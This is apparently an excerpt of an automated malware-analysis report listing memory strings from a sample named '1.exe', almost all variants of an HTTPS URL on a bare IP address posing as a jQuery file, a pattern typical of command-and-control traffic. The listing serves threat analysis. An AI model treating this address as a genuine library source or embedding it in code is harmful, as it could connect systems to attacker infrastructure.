Source: 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js)
Source: 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js-end-point:
Source: 1.exe, 00000000.00000003.2279731119.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2299019879.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js.
Source: 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js/
Source: 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js/=
Source: 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js/e
Source: 1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js/rovider
Source: 1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js0
Source: 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js5
Source: 1.exe, 00000000.00000003.3215560010.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2489366194.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js=
Source: 1.exe, 00000000.00000003.3215560010.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234770394.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3045966688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsB_F
Source: 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsC
Source: 1.exe, 00000000.00000003.3045966688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2960557486.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3083402749.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsE
Source: 1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2260354455.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2241098849.000002B669DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsG
Source: 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsI
Source: 1.exe, 00000000.00000003.3215560010.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234770394.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941828835.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2960557486.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsM
Source: 1.exe, 00000000.00000003.2260354455.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2241098849.000002B669DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsO
Source: 1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3177724289.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsP
Source: 1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337370173.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412570457.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2393456740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2374875810.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsQ
Source: 1.exe, 00000000.00000003.2299019879.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsR3-
Source: 1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsU
Source: 1.exe, 00000000.00000003.2529187313.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsY
Source: 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsa
Source: 1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2318143913.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2923043972.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337370173.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412570457.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3083402749.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2393456740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2374875810.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06
Source: 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06C
Source: 1.exe, 00000000.00000003.2529187313.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2509193576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06O
Source: 1.exe, 00000000.00000003.2529187313.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2960557486.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06ad
Source: 1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jse
Source: 1.exe, 00000000.00000003.2450698374.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649720745.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412463885.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2221934852.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2922884622.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337185318.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883830642.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2903576644.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234673628.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2393356882.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941717680.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273403913.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2200192483.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsh
Source: 1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2318143913.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2279731119.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2299019879.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412570457.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3177724289.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2374875810.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsi
Source: 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsi%
Source: 1.exe, 00000000.00000003.3083402749.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsiC
Source: 1.exe, 00000000.00000003.3234770394.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsiO
Source: 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsiU
Source: 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsic
Source: 1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsicate
Source: 1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsim
Source: 1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsj
Source: 1.exe, 00000000.00000003.2450808261.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2529187313.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2318143913.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2299019879.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2469922899.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2241098849.000002B669DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsm
Source: 1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsp
Source: 1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jss
Source: 1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsv
Source: 1.exe, 00000000.00000003.2450808261.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2923043972.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941828835.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsy
Source: 1.exe, 00000000.00000003.3045966688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.jsyptography
Source: 1.exe, 00000000.00000003.2298925896.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/l
Source: 1.exe, 00000000.00000003.2649720745.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/p
Source: 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/rovider
Source: 1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3045966688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2923043972.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941828835.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2960557486.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3083402749.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3177724289.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 